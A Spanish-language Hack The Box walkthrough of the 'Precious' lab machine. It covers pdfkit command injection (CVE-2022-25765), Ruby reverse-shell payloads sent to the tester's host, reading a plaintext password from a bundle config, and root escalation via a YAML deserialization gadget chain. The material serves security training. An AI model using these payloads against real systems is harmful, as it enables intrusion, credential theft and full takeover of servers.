Description

Precious es una máquina fácil de Hack The Box que cuenta con las siguientes vulnerabilidades:

  • Inyección de comandos
  • Exposición de datos sensibles
  • Escalada de privilegios mediante una deserialización YAML

Reconocimiento

Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina de destino es 10.10.11.189.

$ ping -c 3 10.10.11.189           
PING 10.10.11.189 (10.10.11.189) 56(84) bytes of data.
64 bytes from 10.10.11.189: icmp_seq=1 ttl=63 time=345 ms
64 bytes from 10.10.11.189: icmp_seq=2 ttl=63 time=44.3 ms
64 bytes from 10.10.11.189: icmp_seq=3 ttl=63 time=324 ms

--- 10.10.11.189 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2002ms
rtt min/avg/max/mdev = 44.276/237.727/345.296/137.076 ms

La máquina está activa y con el TTL equivalente a 63 (64 menos 1 salto) podemos asegurar que es una máquina basada en Unix. Ahora vamos a hacer un escaneo de puertos TCP SYN con Nmap para comprobar todos los puertos abiertos.

$ sudo nmap 10.10.11.189 -sS -oN nmap_scan
Starting Nmap 7.93 ( https://nmap.org )
Nmap scan report for 10.10.11.189
Host is up (0.077s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 12.81 seconds

Obtenemos dos puertos abiertos, 22 y 80.

Enumeración

Luego hacemos un escaneo más avanzado, con la detección de la versión de los servicios y el uso de scripts.

$ nmap 10.10.11.189 -sV -sC -p22,80 -oN nmap_scan_ports
Starting Nmap 7.93 ( https://nmap.org )
Nmap scan report for 10.10.11.189
Host is up (0.24s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 845e13a8e31e20661d235550f63047d2 (RSA)
|   256 a2ef7b9665ce4161c467ee4e96c7c892 (ECDSA)
|_  256 33053dcd7ab798458239e7ae3c91a658 (ED25519)
80/tcp open  http    nginx 1.18.0
|_http-title: Did not follow redirect to http://precious.htb/
|_http-server-header: nginx/1.18.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.67 seconds

Obtenemos dos servicios: Secure Shell (SSH) y Hypertext Transfer Protocol (HTTP) funcionando en un Linux Debian. Como no tenemos credenciales factibles para el servicio SSH vamos a pasar al servicio HTTP. Observamos que el servicio alberga un sitio web http://precious.htb, por lo que lo añadimos a nuestro fichero local /etc/hosts.

$ echo "10.10.11.189 precious.htb" | sudo tee -a /etc/hosts

Con la herramienta WhatWeb podemos enumerar las tecnologías del sitio web.

$ whatweb --log-brief web_techs precious.htb                                     
http://precious.htb [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[nginx/1.18.0 + Phusion Passenger(R) 6.0.15], IP[10.10.11.189], Ruby-on-Rails, Title[Convert Web Page to PDF], UncommonHeaders[x-content-type-options], X-Frame-Options[SAMEORIGIN], X-Powered-By[Phusion Passenger(R) 6.0.15], X-XSS-Protection[1; mode=block], nginx[1.18.0]

Conseguimos información interesante como el servidor en ejecución, nginx, ejecutando una aplicación Ruby-on-Rails. Ahora nos movemos al navegador y descubrimos una aplicación web que nos permite introducir una URL y luego descargar un archivo PDF de la página renderizada. Para comprobar la funcionalidad podemos crear un servidor HTTP usando Python para comprobar cómo se crea el archivo PDF.

$ mkdir webserver
$ cd webserver
$ python -m http.server 80

Después de rellenar el formulario y hacer clic en Enviar podemos descargar el archivo PDF con un nombre aleatorio, en este caso 5ra3j2bo43o8h2bf3id3lpvwnngfwsri.pdf. Estos son los contenidos del archivo PDF, la página web renderizada. Con ExifTool podemos comprobar si hay metadatos ocultos dentro del archivo PDF.

$ exiftool 5ra3j2bo43o8h2bf3id3lpvwnngfwsri.pdf 
ExifTool Version Number         : 12.52
File Name                       : 5ra3j2bo43o8h2bf3id3lpvwnngfwsri.pdf
Directory                       : .
File Size                       : 11 kB
File Permissions                : -rw-r--r--
File Type                       : PDF
File Type Extension             : pdf
MIME Type                       : application/pdf
PDF Version                     : 1.4
Linearized                      : No
Page Count                      : 1
Creator                         : Generated by pdfkit v0.8.6

Explotación

Encontramos que la biblioteca que generó el archivo PDF es pdfkit v0.8.6. Buscando vulnerabilidades para esta biblioteca y versión, encontramos una inyección de comandos, CVE-2022-25765. Encontramos una prueba de concepto en la snyk Vulnerability DB. Podemos inyectar un comando en la URL en la que estamos solicitando un PDF con un espacio codificado en formato URL (%20) y luego el comando entre acentos graves (`). Podemos usar el Repeater de Burp Suite para hacer la inyección. Como el parámetro url está codificado en formato URL vamos a necesitar codificar la carga útil que vamos a utilizar. Para comprobar si la vulnerabilidad funciona vamos a hacer una inyección basada en tiempo de 5 segundos. Si la respuesta tarda más de 5 segundos, entonces la vulnerabilidad funciona. Este es el parámetro a utilizar.

Parámetro:
http://%20`sleep 5`

Parámetro codificado:
http%3A%2F%2F%2520%60sleep%205%60

Ya que que la respuesta tomó más de 5 segundos podemos confirmar que la vulnerabilidad funciona. Podemos producir una shell inversa usando la vulnerabilidad de la inyección de comandos. Abrimos un puerto de escucha en nuestra máquina local.

$ nc -nvlp 1234

Después de eso podemos crear nuestra shell inversa Ruby con un Reverse Shell Generator y luego enviarlo con Burp Suite. Esta es la carga útil.

Parámetro:
http://%20`ruby -rsocket -e'spawn("sh",[:in,:out,:err]=>TCPSocket.new("10.10.14.154",1234))'`

Parámetro codificado:
http%3A%2F%2F%2520%60ruby%20%2Drsocket%20%2De%27spawn%28%22sh%22%2C%5B%3Ain%2C%3Aout%2C%3Aerr%5D%3D%3ETCPSocket%2Enew%28%2210%2E10%2E14%2E154%22%2C1234%29%29%27%60

Después de enviar la solicitud, obtenemos una shell inversa, así que la actualizamos.

$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.154] from (UNKNOWN) [10.10.11.189] 37172

script /dev/null -c bash
bash-5.1$
[keyboard] CTRL-Z
$ stty raw -echo; fg
$ reset xterm
bash-5.1$ stty rows 48 columns 156
bash-5.1$ export TERM=xterm
bash-5.1$ export SHELL=bash

Post-Explotación

Comprobamos que el usuario conectado actualmente es ruby.

bash-5.1$ id
uid=1001(ruby) gid=1001(ruby) groups=1001(ruby)

Otros usuarios que no son servicios en el sistema son henry y root.

$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
henry:x:1000:1000:henry,,,:/home/henry:/bin/bash
ruby:x:1001:1001::/home/ruby:/bin/bash

Revisando el directorio de usuario para ruby, /home/ruby, podemos encontrar algunas credenciales en el archivo /home/ruby/.bundle/config. Estas son las credenciales para el usuario henry, con la contraseña Q3c1AqGHtoI0aXAYFH.

$ cat /home/ruby/.bundle/config
---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"

Luego iniciamos sesión como el usuario henry.

bash-5.1$ su henry
Password: 
bash-5.1$ id
uid=1000(henry) gid=1000(henry) groups=1000(henry)

Ahora podemos comprobar los comandos que henry pueden ejecutar como root.

bash-5.1$ sudo -l
Matching Defaults entries for henry on precious:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User henry may run the following commands on precious:
    (root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb

Encontramos la ejecución de un script Ruby así que vamos a comprobar si podemos modificarlo.

bash-5.1$ ls -l /opt/update_dependencies.rb 
-rwxr-xr-x 1 root root 848 Sep 25  2022 /opt/update_dependencies.rb

Revisamos que no tenemos permisos para modificarlo, pero tenemos permisos para leerlo.

$ cat /opt/update_dependencies.rb 
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'

# TODO: update versions automatically
def update_gems()
end

def list_from_file
    YAML.load(File.read("dependencies.yml"))
end

def list_local_gems
    Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end

gems_file = list_from_file
gems_local = list_local_gems

gems_file.each do |file_name, file_version|
    gems_local.each do |local_name, local_version|
        if(file_name == local_name)
            if(file_version != local_version)
                puts "Installed version differs from the one specified in file: " + local_name
            else
                puts "Installed version is equals to the one specified in file: " + local_name
            end
        end
    end
end

El script está cargando un archivo llamado dependencies.yml del directorio de trabajo utilizando la función YAML.load. Esta función es vulnerable a un ataque de deserialización de YAML como vemos en PayloadAllTheThings en versiones de Ruby 2.x - 3.x.

bash-5.1$ ruby --version
ruby 2.7.4p191 (2021-07-07 revision a21a3b7d23) [x86_64-linux-gnu]

Como vemos, la versión es vulnerable. Así que nos movemos a un directorio temporal dentro del sistema y creamos un archivo dependencies.yml que genera una shell inversa.

bash-5.1$ mktemp -d
/tmp/tmp.SHEnoyLI4o
bash-5.1$ cd tmp.SHEnoyLI4o/
bash-5.1$ cat<<EOF>dependencies.yml
---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: ruby -rsocket -e'spawn("sh",[:in,:out,:err]=>TCPSocket.new("10.10.14.154",1235))'
         method_id: :resolve

EOF

Abrimos un puerto de escucha en nuestro sistema local.

$ nc -nvlp 1234

Finalmente ejecutamos el comando con sudo para ejecutarlo como el usuario root.

bash-5.1$ sudo ruby /opt/update_dependencies.rb 
sh: 1: reading: not found
Traceback (most recent call last):
        33: from /opt/update_dependencies.rb:17:in `<main>'
        32: from /opt/update_dependencies.rb:10:in `list_from_file'
        31: from /usr/lib/ruby/2.7.0/psych.rb:279:in `load'
        30: from /usr/lib/ruby/2.7.0/psych/nodes/node.rb:50:in `to_ruby'
        29: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
        28: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
        27: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
        26: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:313:in `visit_Psych_Nodes_Document'
        25: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
        24: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
        23: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
        22: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:141:in `visit_Psych_Nodes_Sequence'
        21: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `register_empty'
        20: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `each'
        19: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `block in register_empty'
        18: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
        17: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
        16: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
        15: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:208:in `visit_Psych_Nodes_Mapping'
        14: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:394:in `revive'
        13: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:402:in `init_with'
        12: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:218:in `init_with'
        11: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:214:in `yaml_initialize'
        10: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:299:in `fix_syck_default_key_in_requirements'
         9: from /usr/lib/ruby/vendor_ruby/rubygems/package/tar_reader.rb:59:in `each'
         8: from /usr/lib/ruby/vendor_ruby/rubygems/package/tar_header.rb:101:in `from'
         7: from /usr/lib/ruby/2.7.0/net/protocol.rb:152:in `read'
         6: from /usr/lib/ruby/2.7.0/net/protocol.rb:319:in `LOG'
         5: from /usr/lib/ruby/2.7.0/net/protocol.rb:464:in `<<'
         4: from /usr/lib/ruby/2.7.0/net/protocol.rb:458:in `write'
         3: from /usr/lib/ruby/vendor_ruby/rubygems/request_set.rb:388:in `resolve'
         2: from /usr/lib/ruby/2.7.0/net/protocol.rb:464:in `<<'
         1: from /usr/lib/ruby/2.7.0/net/protocol.rb:458:in `write'
/usr/lib/ruby/2.7.0/net/protocol.rb:458:in `system': no implicit conversion of nil into String (TypeError)

Obtenemos un error, pero no importa ya que el comando fue ejecutado y la shell inversa del superadministrador se ha desplegado.

Flags

Finalmente podemos obtener la flag del usuario y la flag del sistema.

$ nc -nvlp 1235
listening on [any] 1235 ...
connect to [10.10.14.154] from (UNKNOWN) [10.10.11.189] 55982
bash -i
bash: initialize_job_control: no job control in background: Bad file descriptor
root@precious:/tmp/tmp.SHEnoyLI4o# id
uid=0(root) gid=0(root) groups=0(root)
root@precious:/tmp/tmp.SHEnoyLI4o# cat /home/henry/user.txt
<REDACTED>
root@precious:/tmp/tmp.SHEnoyLI4o# cat /root/root.txt
<REDACTED>